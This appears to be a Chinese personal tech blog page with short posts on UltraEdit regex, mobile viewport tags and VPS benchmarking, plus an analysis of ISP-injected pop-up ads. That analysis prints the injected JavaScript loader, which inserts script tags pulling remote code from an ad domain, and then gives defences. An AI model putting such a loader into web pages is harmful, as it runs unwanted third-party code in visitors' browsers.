利用Ultraedit去除字符串前后空格

利用Ultraedit去除字符串前后空格无评论

2015年10月29日 at 上午8:30分类:其他 阅读: 473 次

Ultraedit在替换时可以使用正则表达式,可以利用它来替换字符串前后空格:

在UltraEdit中常用的一些正则表达式:

% 匹配行首 - 表明要搜索的字符串一定在行首. 
$ 匹配行尾 - 表明要搜索的字符串一定在行尾 
? 匹配除换行符外的任一单个字符. 
* 匹配任意个数的字符出现任意次数(不包括换行符) 
+ 匹配前导字符或者表达式出现一次或者更多次(不包括换行符) 
++ 匹配前导字符或者表达式不出现或者出现一次以上(不包括换行符) 
^b 匹配页中断符 
^p 匹配DOS文件的换行符
^r 匹配MAC文件的换行符(CR Only) 
^n 匹配UNIX文件的换行符 (LF Only) 
^t 匹配一个制表符
[ ] 匹配方括号中的单个的字符
删除空行: 替换 %[ ^t]++^p 为 空串

删除行尾空格: 替换 [ ^t]+$ 为 空串 

删除行首空格: 替换 %[ ^t]+ 为 空串

每行设置为固定的4个空格开头: 替换 %[ ^t]++^([~ ^t^p]^) 为 " ^1" 

每段设置为固定的4个空格开头: 替换 %[ ^t]+ 为 " " (如果一行是以空格开始的,则视之为一段的开始行)

将一段合并为一行: 替换 [ ^t]++^p^([~ ^t^p]^) 为 ^1 (注意: 此处假定文本是以DOS方式回车换行 - CR/LF) 

去掉HTML TAG: 替换 ^{<*>^}^{<*^p*>^} 为 空串 

删除HTML中的所有: 替换 <[ ]++a *[ ]++href[ ]++=*> 为 空串 

删除文本中指定的前2列字符: 替换 %?? 为 空串 

在第4列后插入2列空白字符: 替换 %^(????^)^(?^) 为 "^1 ^2" 

查找所有的数字: [0-9]+[.]++[0-9]+ 

查找所有的单词: [a-z]+

关于针对移动设备的网页设计

关于针对移动设备的网页设计无评论

2015年10月27日 at 下午9:15分类:软件 阅读: 399 次

控制网页内容在移动设备上的显示,可以使用viewport标签

把下面这个东西复制到我们的head标签中:
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=0.1, maximum-scale=3.0, user-scalable=yes">

meta viewport 有6个属性,如下:

width 设置layout viewport 的宽度,为一个正整数,或字符串"width-device"
initial-scale 设置页面的初始缩放值,为一个数字,可以带小数
minimum-scale 允许用户的最小缩放值,为一个数字,可以带小数
maximum-scale 允许用户的最大缩放值,为一个数字,可以带小数
height 设置layout viewport 的高度,这个属性对我们并不重要,很少使用
user-scalable 是否允许用户进行缩放,值为"no"或"yes", no 代表不允许,yes代表允许
这些属性可以同时使用,也可以单独使用或混合使用,多个属性同时使用时用逗号隔开就行了。

一般设置网页显示宽度为移动设备的屏幕宽度,初始缩放为1,即不缩放。
如果网页中要显示图片,可以通过宽度百分比来控制图像大小,如图片宽度设置为页面的90%:
<img src="test.jpg"  width="90%" />

 

对于某些需要固定显示宽度的网页(如使用map/area定位图片位置产生链接),则可以指定viewport的width,同时改变初始缩放值initial-scale,也可以不指定initial-scale,会自动调整缩放比例至全屏显示:

  1. <meta name="viewport" content="width=960,minimum-scale=0.1, maximum-scale=3.0, user-scalable=yes">
  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. <title>test</title>
  4. </head>
  5.  
  6. <img src="./img/yyyb.gif"  style="width: 960px; height: 874px;"  usemap="#Map">
  7.  
  8. <map id="Map" name="Map">
  9. <area coords="221,76,256,120" href="javascript:mplay('...');" >
  10.  
  11. ...
  12.  
  13. </body>
  14.  
  15. </html>

 

上面的页面指定显示宽度为960px,并自动调整初始缩放比例以便于在移动设备显示

 

VPS性能测试

VPS性能测试无评论

2015年10月24日 at 下午11:12分类:建站 阅读: 406 次

【硬盘IO读写能力测试】

dd if=/dev/zero of=test bs=64k count=4k oflag=dsync
dd if=/dev/zero of=test bs=8k count=256k conv=fdatasync

阿里云结果:

# dd if=/dev/zero of=test bs=64k count=4k oflag=dsync
4096+0 records in
4096+0 records out
268435456 bytes (268 MB) copied, 22.7295 s, 11.8 MB/s
# dd if=/dev/zero of=test bs=8k count=256k conv=fdatasync
262144+0 records in
262144+0 records out
2147483648 bytes (2.1 GB) copied, 44.4259 s, 48.3 MB/s

interserver结果:

# dd if=/dev/zero of=test bs=64k count=4k oflag=dsync
4096+0 records in
4096+0 records out
268435456 bytes (268 MB) copied, 8.47921 s, 31.7 MB/s

# dd if=/dev/zero of=test bs=8k count=256k conv=fdatasync
262144+0 records in
262144+0 records out
2147483648 bytes (2.1 GB) copied, 29.9507 s, 71.7 MB/s

测试完成后记得删除test文件,释放硬盘空间。

另使用top命令查看%wa数据,表示IO等待所占用的CPU时间的百分比,高过30%时IO压力可能比较大。

另外一条命令是:iostat -x 1 10,如果没有执行安装:yum install sysstat,主要查看%util 和%idle ,如果 %util 接近 100%,说明产生的I/O请求太多,I/O系统已经满负荷,idle小于70% IO压力就较大了,一般读取速度有较多的wait。

【CPU硬件参数】

cat /proc/cpuinfo

【内存硬件参数】

cat /proc/meminfo

free -m

Linux管理内存的机制是这样的:无论物理内存有多大,Linux 都将其充份利用,将一些程序调用过的硬盘数据读入内存,利用内存读写的高速特性来提高Linux系统的数据访问性能。

VPS真实的使用内存:Total-Free-Cached=真实使用内存

【网络带宽】

wget http://cachefly.cachefly.net/100mb.test

测试服务器下载带宽

转:简说宽带商的弹窗广告进化及网站应对之策(DNS劫持进化论)

转:简说宽带商的弹窗广告进化及网站应对之策(DNS劫持进化论)无评论

2015年10月24日 at 下午6:44分类:其他 阅读: 397 次

WEB网站站主屏蔽宽带运营商的内嵌(嵌入式)网页广告方法

WEB网站站主屏蔽宽带运营商的内嵌(嵌入式)网页广告方法有2条评论

2015年10月23日 at 下午12:53分类:其他 阅读: 773 次

最近在访问自己博客时,经常会在网页页面中弹出一些广告窗口:

g1

广告出现的时间不定,难道是网站被黑了?审查网页代码,发现是网页的内容被修改了,如下图,有两个synhighligther.js:

g2

在原网页中,只存在一个synhighligther.js,再查看内容,发现一个js中显示的是广告代码:

g3

(function() {
    try {
        var ab = "http://120.25.126.60/wordpress/wp-includes/js/jquery/jquery.js?ver=1.11.0",
        d = document;
        _add = function(s) {
            var k = d.createElement("script");
            k.type = "text/javascript";
            k.src = s;
            var s = d.getElementsByTagName("script")[0];
            s.parentNode.insertBefore(k, s)
        };
        ab.indexOf("?") > 0 ? ab += "&tcdsp": ab += "?tcdsp";
        n = d.getElementsByTagName("script").length;
        d.write("<script type='text/javascript' src='" + ab + "'></script>");
        if (n == d.getElementsByTagName("script").length) _add(ab);
        if (!window.abtd && !(!-[1, ] && !window.XMLHttpRequest)) {
            window.abtd = 1;
            window.onload = function() {
                _add('http://api.dreamfull.cn/s/js/fshow.js?_qwert_sid=553102325&_zxcvb_pid=990274192119')
            }
        }
    } catch(e) {}
})();

http://120.25.126.60/wordpress是我的博客地址,此js访问了api.dreamfull.cn这个网址,然后在网页中插入了广告代码iframe。多试几次发现每次插入的js文件还不一样,不过都是页面中存在的js文件名称。

用http://icp.aizhan.com/dreamfull.cn/查询此外连网站的备案信息:

g4

 

后来发现不只是访问我自己博客有这种现象,访问有些商业网站也有类似广告,而在网站源码中是没有这部分代码的,初步确认是宽带运营商联合广告商嵌入的广告,当用户浏览网页时,在网络中间设备上修改从网站返回的数据,在页面数据中加入垃圾广告代码:

在客户端可以启用浏览器的Adblock来拦截广告,如傲游浏览器点右下角ABP图标:

g6

 

如果想精准打击,可以自定义过滤规则,如下图,彻底屏蔽此广告网站,在全局规则输入“http://*.dreamfull.cn/*”,世界从此清净了:

如果要更狠一点,就在自家的路由器上加入防火墙规则,屏蔽向广告网站发送的任何请求:

上图中的IP地址就是通过ping得到的广告网站的IP地址。在路由器上屏蔽的好处是如果你家里有多台电脑上网,不需要在每台计算机上进行设置,尤其是有手机等移动设备上网的情况。你在这里不仅仅可以过滤运营商的广告,还可以过滤网页中主动内嵌的广告,先审查网页,然后找出广告服务器地址,再加入路由器的防火墙过滤规则即可。

下图是访问几个商业网站后的拦截效果:

但是对于非专业的网民来说,他们会认为是你的网站加入的广告信息,影响用户体验,因此最好从网站加入屏蔽广告的代码。

因为广告是以iframes的形式插入网页的,可以在网页中加入屏蔽iframe显示的代码(需先确认你的网站没有应用iframe),可在网页调用的css文件中加入:

iframe{opacity:0;display:none;}

或直接在页面中的head标签之间添加:

<style type="text/css">
body  iframe{
	opacity:0;
	display:none;
}
</style>

禁止iframe显示

 

wordpress的css路径:/wp-content/themes/xxx/style.css

discuz的css路径:/template/default/common/common.css,不过discuz本身应用了iframe,因此此方法不适用。待续...